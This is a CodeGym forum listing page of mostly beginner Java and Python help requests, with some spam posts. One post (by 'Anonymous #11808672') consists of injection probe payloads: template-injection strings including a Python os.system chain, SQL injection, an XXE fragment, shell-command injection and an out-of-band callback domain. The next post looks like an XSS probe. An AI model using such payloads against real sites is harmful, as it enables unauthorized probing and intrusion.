CodeGym
Promotion
CodeGym University
Java FullStack
Learning
Courses
Tasks
Surveys & Quizzes
Games
Help
Schedule
Community
Users
Forum
Chat
Articles
Success stories
Activity
Reviews
Subscriptions
Light theme

Help with tasks

  • Reviews
  • About us
Start
Start learning
Start learning now
  • All questions
  • Max Holloway
    Level 1
    New
    Balancing hours of solving programming exercises with short Balancing hours of solving programming exercises with short relaxing breaks can be challenging when learning to code. While taking a pause from debugging algorithms and browsing technical discussion threads across Australia, having a smooth mobile web connection is essential. Heavy site frameworks l
    • 7/22/26
    • 1view
    • 0comments
    0
  • Max Holloway
    Level 1
    New
    Writing a sports data parser or a Telegram bot Writing a sports data parser or a Telegram bot that tracks real-time match statistics is actually one of the best pet projects you can build when learning Java. It teaches you how to handle JSON payloads, work with external APIs, and manage multi-threading. I was actually discussing this exact proje
    • 7/15/26
    • 10views
    • 0comments
    1
  • Max Holloway
    Level 1
    New
    I really appreciate how active the help section is on CodeGym.I really appreciate how active the help section is on CodeGym. When you are stuck on a tough Java task, having a community to point out a logical error in your loop or conditions saves so much time. I was reviewing some OOP concepts with a programming classmate of mine from Pakistan earlier today, a
    • 7/15/26
    • 7views
    • 0comments
    0
  • Olga
    Level 1
    New
    Why original developments are becoming a distinctive feature of the platform. Today, many digital platforms offer similar features, but some are creating their own exclusive projects, accessible only within the service. Do you think having such a section makes the platform more appealing to users in Nigeria?
    • 7/14/26
    • 14views
    • 0comments
    0
  • eaglesky
    Level 1
    New
    I need help understanding how to solve this task. I have tried writing the code, but I am not sure why my solution does not work. Could you please explain the approach and point out my mistake?Hello, I need help with this task. I have tried to solve it by myself, but I am having difficulty understanding the correct approach. I would like to know how to analyze the problem, choose the right solution, and avoid common mistakes. If possible, please explain where my thinking or code is wrong
    • 7/14/26
    • 6views
    • 0comments
    0
  • TooTsszz Rool
    Level 1
    New
    34.87.23.78youtu.be/ohET7tecsra
    • 7/8/26
    • 9views
    • 0comments
    0
  • Anonymous #11808672
    Level 1
    Mumbai
    New
    hello{{7*7}} {{2*2}}[[3*3]] ${6*6} @(6+5) {{config}} {{self.__class__.get_class.__globals__.__import__('os').system('ls')}} HTML HTML Bob aliceentry'> '+OR+'1'%3d'1'+-- '+UNION+SELECT+null,+null,+null+-- ]> %26xxe%3b ;+ls+-la %3b+echo+'malicious_code' urpfe10j0kxqj97dsgshvliw2n8ewbk0.oastify.com
    • 7/1/26
    • 19views
    • 0comments
    0
  • alicetesttdget
    Level 1
    Mumbai
    New
    aliceentry'>asaaaliceentry'>
    • 7/1/26
    • 20views
    • 0comments
    0
  • LuisRC
    Level 39
    Gijón
    Question about the task Words with numbers
    Java Core, Level 9, Lesson 11
    Under discussion
    What's my mistake?Hi there, Where's the problem with my code? I've already tested it by using different word patterns (aaa, a1a, 1a2, @sd, @23, @we34) and it seems to work. The recommendation of my mentor "Be sure that your solution uses FileWriter" Am I not using it? Thanks
    • 4/19/22
    • 927views
    • 7comments
    0
  • Matthew Riggs
    Level 6
    United States of America
    Question about the task Second smallest number entered
    Java Syntax, Level 4, Lesson 5
    Under discussion
    It technically works, but not really... I almost have it, but not quite. With the example input it works, printing 4 as the lowest and 5 as the next smallest (I have it printing both for testing) but when I added a 3 at the end of the list of numbers (but before the enter breaks the loop) and it correctly updates the lowest number to 3, b
    • 12/20/23
    • 770views
    • 4comments
    0
  • Onome Brownly-Otiede
    Level 9
    Galway
    Question about the task 20 words that start with the letter "L"
    Java Syntax, Level 8, Lesson 8
    Resolved
    Why doesn't Set.of work?The first thing that I would do in any scenario like this is to use the of() method but for some reason it doesn't work. I copied the exact same code into eclipse and it worked just fine so I don't know why codegym is doing this. I downloaded the correct code and it showed me like the HashSet but th
    • 7/15/22
    • 789views
    • 5comments
    0
  • Evgeniia Shabaeva
    Level 42
    Budapest
    Question about the task Mixed-up bytes
    Java Syntax, Level 16, Lesson 2
    Under discussion
    Why is my code not working?The correct solution suggests we use try-with-resources to complete the task. I understand that's a more beautiful way, but I'd like to use the try-catch-finally formula just in order to better understand how all this works. So, the validator implies that I'm not using the newInputStream and newOutp
    • 5/31/24
    • 357views
    • 8comments
    0
  • Witaya Chada
    Level 1
    Question about the task Find all the files
    Java Collections, Level 1, Lesson 2
    Resolved
    http://schemas.android.com/apk/res/androidThe code snippet you provided appears to be related to an Android application's manifest file, specifically dealing with the configuration of native libraries and the splitting of APKs. Here's a detailed interpretation of the key elements in the snippet: 1.The code snippet you provided appears to be related to an Android application's manifest file, specifically dealing with the configuration of native libraries and the splitting of APKs. Here's a detailed interpretation of the key elements in the snippet: 1. `hasCode`: This attribute indicates wheth
    • 3/28/25
    • 255views
    • 7comments
    0
  • eliradelorca
    Level 1
    Under discussion
    Why does my Java for-loop skip elements after removing items from an ArrayList?Hi everyone, I'm learning Java collections and ran into an issue when removing elements from an ArrayList inside a for-loop. Example: ArrayList numbers = new ArrayList<>(); numbers.add(1); numbers.add(2); numbers.add(3); numbers.add(4); for (int i = 0; i < numbers.size(); i++) { if
    • 6/13/26
    • 41views
    • 2comments
    0
  • MoJo
    Level 23
    Cairns
    Question about the task Number algorithms
    Java Core, Level 10, Lesson 10
    Resolved
    I'm not sure if i understood the task correctlySo i thought it works for me but it doesn't let me pass. Looking at various internet sides etc. it seems that some people do not think 3-9 are so called Armstrong numbers: https://pages.mtu.edu/~shene/COURSES/cs201/NOTES/chap04/arms.html My output: 4 [1, 2, 3, 4, 5, 6, 7, 8, 9, 153, 370, 371, 407]
    • 2/24/21
    • 1012views
    • 6comments
    0
  • Maven
    Level 17
    United States of America
    Question about the task Filling an array
    Java Syntax, Level 6, Lesson 8
    Resolved
    I am filling the array according to the specifications. What is wrong here?The error message is too general. My solution is filling the even and odd arrays according to the specifications. I'm not sure what I'm missing here.
    • 3/6/22
    • 1373views
    • 12comments
    2
  • David
    Level 1
    Paris
    Question about the task Pythagorean Multiplication Table
    Python Core, Level 4, Lesson 5
    Under discussion
    la solution proposée ne marche pasMême la solution proposée est en erreur au niveau de : The program should output only the numbers of the table, formatted as an N x N table.
    • 4/4/26
    • 82views
    • 3comments
    0
  • Paul
    Level 24
    Vienna
    Question about the task Deep cloning of a map
    Java Multithreading, Level 1, Lesson 8
    Under discussion
    What does actually happen in the clone() method?I don't think I understand this topic even after doing some reading on it. I will try to describe as good as I can what I think happens in my code. If you can see the mistake, I would be grateful for any hints. As far as I understand after clone() in the main method is called, the solution.clone()
    • 12/9/22
    • 909views
    • 4comments
    0
  • Edddieg
    Level 15
    Providence
    Question about the task Don't think about seconds…
    Java Syntax, Level 3, Lesson 8
    Resolved
    please helpWrite code that calculates how many seconds have passed since 3:00 PM when the clock says it's 3:30 PM. Display the result. Requirements: • The program should output text. • The displayed text should be a positive integer. • The displayed number must be a multiple of 60. • The displayed number must
    • 6/7/20
    • 1049views
    • 6comments
    0
  • Hayden
    Level 4
    Rockville
    Question about the task Negative
    Python Core, Level 2, Lesson 6
    Under discussion
    how do I indent?^
    • 6/7/26
    • 34views
    • 1comment
    0
  • Amjad Ali
    Level 2
    Dadu
    Under discussion
    java this keyword why we use this keyword in java to say this function (attributes) are called by particular object. on the other hand it can be done without using this keyword.🤔
    • 3/17/26
    • 88views
    • 2comments
    0
  • Justin Smith
    Level 41
    Greenfield, USA
    Question about the task Working with Java 8's DateTime API
    Java Collections, Level 10, Lesson 10
    Resolved
    There seems to be an error in the conditions re: day of weekApril 21, 2014 is a Monday, so it should be the second day of the week. However, the conditions say this should be an output of 1. Are they using 0 for Sunday? They don't appear to be using 0 as a start for the months, so that would be inconsistent, if so. In any event, I did try (Calender.get(CALEN
    • 6/26/23
    • 434views
    • 4comments
    0
  • ousi4ous
    Level 2
    Douala
    Question about the task Minimum of three numbers
    Java Syntax, Level 2, Lesson 8
    Resolved
    i have difficulties finding my errorcan someone please help me find the error
    • 4/11/19
    • 1272views
    • 5comments
    0
  • ASHUTOSH SHUKLA
    Level 3
    Katni
    Resolved
    Verification errorCoding was right and I tried with it two method it run without error ,output was same as condition tab but then also it was showing in verification it show with red exclamation mark that 'program should consist of 9 with empty line'. Any body can tell me what can I do?
    • 4/12/19
    • 1123views
    • 3comments
    0
  • Janninelie Ponciano
    Level 1
    Sampaloc
    Under discussion
    what is java.langwhat is java.lang?
    • 3/21/26
    • 75views
    • 1comment
    0
  • corsi
    Level 4
    Furiani
    Question about the task Sum of the digits of a three-digit number
    Java Syntax, Level 3, Lesson 12
    Under discussion
    Sum of the digits of a three-digit number package com.codegym.task.task01.task0132; /* Sum of the digits of a three-digit number */ public class Solution { public static void main(String[] args) { System.out.println(sumDigitsInNumber(546)); } public static int sumDigitsInNumber(int number) { int a = 5;
    • 4/3/19
    • 6928views
    • 4comments
    1
  • Βάιος Αργυρόπουλος
    Level 25
    Question about the task But that's how I want it
    Java Syntax, Level 12, Lesson 7
    Resolved
    First question that i got stuck....Can anyone plz give me a hint of how can i get this problem solved ?? To symmarise my take on the problem : - I think that my logic on if - if-else statements are right. - I am not sure about the conversions and if the exercise imply something i am missing.
    • 9/8/24
    • 382views
    • 2comments
    2
  • Mathyn Keus
    Level 7
    Enschede
    Question about the task You can't buy friends
    Java Syntax, Level 5, Lesson 9
    Resolved
    What is wrong here? What is wrong?
    • 4/12/19
    • 2275views
    • 14comments
    0
  • Mithun
    Level 1
    Черкаси
    Question about the task My young friend
    Java Syntax, Level 0, Lesson 4
    Resolved
    help and point out a mistakeI do not know how can I display the subtraction of this action, but I can write this int x = (3126); int a = (8); int = ("x-a"); if there is an error please help
    • 7/25/18
    • 2531views
    • 11comments
    1
  • subal
    Level 1
    Jammu
    Question about the task First Command 😎
    Java 25, Level 1, Lesson 1
    Under discussion
    teach me how to learn teach me how to learn
    • 5/17/26
    • 72views
    • 1comment
    0
  • 1
  • 2
  • 3
  • ...
  • 374
Learn
  • Registration
  • Java Course
  • Help with Tasks
  • Pricing
  • Game Projects
  • Java Syntax
Community
  • Users
  • Articles
  • Forum
  • Chat
  • Success Stories
  • Activity
  • Affiliate Program
Company
  • About us
  • Contacts
  • Reviews
  • Press Room
  • CodeGym for EDU
  • FAQ
  • Support
CodeGym CodeGym is an online course for learning Java programming from scratch. This course is a perfect way to master Java for beginners. It contains 1200+ tasks with instant verification and an essential scope of Java fundamentals theory. To help you succeed in education, we’ve implemented a set of motivational features: quizzes, coding projects, content about efficient learning, and a Java developer’s career.
Follow us
Interface language
English
Deutsch Español हिन्दी Français Português Polski বাংলা 简体中文 मराठी தமிழ் Italiano Bahasa Indonesia 繁體中文 Nederlands 日本語 한국어 Bulgarian Danish Hungarian Basa Jawa Malay Norwegian Romanian Swedish Telugu Thai Українська Filipino Turkish Azərbaycan Русский Vietnamese
Programmers Are Made, Not Born © 2026 CodeGym
MastercardVisa
Programmers Are Made, Not Born © 2026 CodeGym
Advertisement
Advertisement